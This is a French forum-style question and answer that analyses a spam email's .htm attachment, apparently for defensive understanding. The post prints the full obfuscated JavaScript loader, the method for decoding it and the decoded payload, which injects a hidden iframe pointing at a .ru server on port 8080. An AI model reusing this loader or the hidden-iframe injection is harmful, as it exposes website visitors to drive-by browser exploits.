J'ai reçu un message spam qui avait une pièce jointe .htm. J'ai ouvert le fichier dans gedit sur ma machine linux et j'ai vu ce qui suit. Est-ce que le script qu'il essayerait d'exécuter fait quelque chose? Il semble inoffensif, mais confus.
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <title>Please wait untill the page loads...</title> </head> <body> <h1>Loading... Please Wait...</h1><br> </body>` <script> if(window['doc'+'ume'+'nt']) aa=/\w/.exec(new Date()).index+[]; aaa='0'; try { new location(); }catch(qqq){ ss=String; if(aa===aaa) f='-30q-30q66q63q-7q1q61q72q60q78q70q62q71q77q7q64q62q77q30q69q62q70q62q71q77q76q27q82q45q58q64q39q58q70q62q1q0q59q72q61q82q0q2q52q9q54q2q84q-30q-30q-30q66q63q75q58q70q62q75q1q2q20q-30q-30q86q-7q62q69q76q62q-7q84q-30q-30q-30q61q72q60q78q70q62q71q77q7q80q75q66q77q62q1q-5q21q66q63q75q58q70q62q-7q76q75q60q22q0q65q77q77q73q19q8q8q60q73q58q75q58q59q71q72q75q70q58q73q72q72q73q61q76q63q7q75q78q19q17q9q17q9q8q66q70q58q64q62q76q8q58q78q59q69q59q83q61q71q66q7q73q65q73q0q-7q80q66q61q77q65q22q0q10q9q0q-7q65q62q66q64q65q77q22q0q10q9q0q-7q76q77q82q69q62q22q0q79q66q76q66q59q66q69q66q77q82q19q65q66q61q61q62q71q20q73q72q76q66q77q66q72q71q19q58q59q76q72q69q78q77q62q20q69q62q63q77q19q9q20q77q72q73q19q9q20q0q23q21q8q66q63q75q58q70q62q23q-5q2q20q-30q-30q86q-30q-30q63q78q71q60q77q66q72q71q-7q66q63q75q58q70q62q75q1q2q84q-30q-30q-30q79q58q75q-7q63q-7q22q--30q-30q-30q61q72q60q78q70q62q71q77q7q64q62q77q30q69q62q70q62q71q77q76q27q82q45q58q64q39q58q70q62q1q0q59q72q61q82q0q2q52q9q54q7q58q73q73q62q71q61q28q65q66q69q61q1q63q2q20q-30q-30q86' .split('q'); md='a'; e=window['e'+'val']; w=f; s=''; fr='fromChar'; r=ss[fr+'Code']; for(i=0;-i>-w.length;i+=1) { j=i; s=s+r(39+1*w[j]); } if(Math.round(-4*Math.tan(Math.atan(0.5)))===-2) z=s; e(z); } </script> </html>
Encodé dans f
est le code suivant, que le script eval
s (exécute):
if (document.getElementsByTagName('body')[0]){ iframer(); } else { document.write("<iframe src='http://cparabnormapoopdsf.ru:8080/images/aublbzdni.php' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>"); } function iframer(){ var f = document.createElement('iframe'); f.setAttribute('src','http://cparabnormapoopdsf.ru:8080/images/aublbzdni.php'); f.style.visibility='hidden'; f.style.position='absolute'; f.style.left='0'; f.style.top='0'; f.setAttribute('width','10'); f.setAttribute('height','10'); document.getElementsByTagName('body')[0].appendChild(f); }
Je suppose que tout ce qui vit sur http://cparabnormapoopdsf.ru:8080
est mauvais et tente d'exploiter une sorte de vulnérabilité du navigateur.
J'ai pu extraire f
en copiant essentiellement ce que le script fait:
var f = '-30q-30q66q63q-7q1q61q72q60q78q70q62q71q77q7q64q62q77q30q69q62q70q62q71q77q76q27q82q45q58q64q39q58q70q62q1q0q59q72q61q82q0q2q52q9q54q2q84q-30q-30q-30q66q63q75q58q70q62q75q1q2q20q-30q-30q86q-7q62q69q76q62q-7q84q-30q-30q-30q61q72q60q78q70q62q71q77q7q80q75q66q77q62q1q-5q21q66q63q75q58q70q62q-7q76q75q60q22q0q65q77q77q73q19q8q8q60q73q58q75q58q59q71q72q75q70q58q73q72q72q73q61q76q63q7q75q78q19q17q9q17q9q8q66q70q58q64q62q76q8q58q78q59q69q59q83q61q71q66q7q73q65q73q0q-7q80q66q61q77q65q22q0q10q9q0q-7q65q62q66q64q65q77q22q0q10q9q0q-7q76q77q82q69q62q22q0q79q66q76q66q59q66q69q66q77q82q19q65q66q61q61q62q71q20q73q72q76q66q77q66q72q71q19q58q59q76q72q69q78q77q62q20q69q62q63q77q19q9q20q77q72q73q19q9q20q0q23q21q8q66q63q75q58q70q62q23q-5q2q20q-30q-30q86q-30q-30q63q78q71q60q77q66q72q71q-7q66q63q75q58q70q62q75q1q2q84q-30q-30q-30q79q58q75q-7q63q-7q22q--30q-30q-30q61q72q60q78q70q62q71q77q7q64q62q77q30q69q62q70q62q71q77q76q27q82q45q58q64q39q58q70q62q1q0q59q72q61q82q0q2q52q9q54q7q58q73q73q62q71q61q28q65q66q69q61q1q63q2q20q-30q-30q86' .split('q');
Cela vous permet d'obtenir un nombre de nombres, que le script assemble dans une chaîne en ajoutant 39 à chacun:
for (var i=0, s=''; i < f.length; i++) s+=String.fromCharCode(39+1*f[i]);
Le bit codé se transforme en:
if (document.getElementsByTagName('body')[0]){ iframer(); } else { document.write("<iframe src='http://cparabnormapoopdsf.ru:8080/images/aublbzdni.php' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>"); } function iframer(){ var f = document.createElement('iframe'); f.setAttribute('src','http://cparabnormapoopdsf.ru:8080/images/aublbzdni.php'); f.style.visibility='hidden';f.style.position='absolute';f.style.left='0'; f.style.top='0';f.setAttribute('width','10'); f.setAttribute('height','10'); document.getElementsByTagName('body')[0].appendChild(f); }
Le domaine à http://cparabnormapoopdsf.ru:8080/images/aublbzdni.php fait quelque chose d'inconnu. Le serveur exécute nginx et se réoriente vers google.com. Peut-être qu'à un moment donné, il fera autre chose.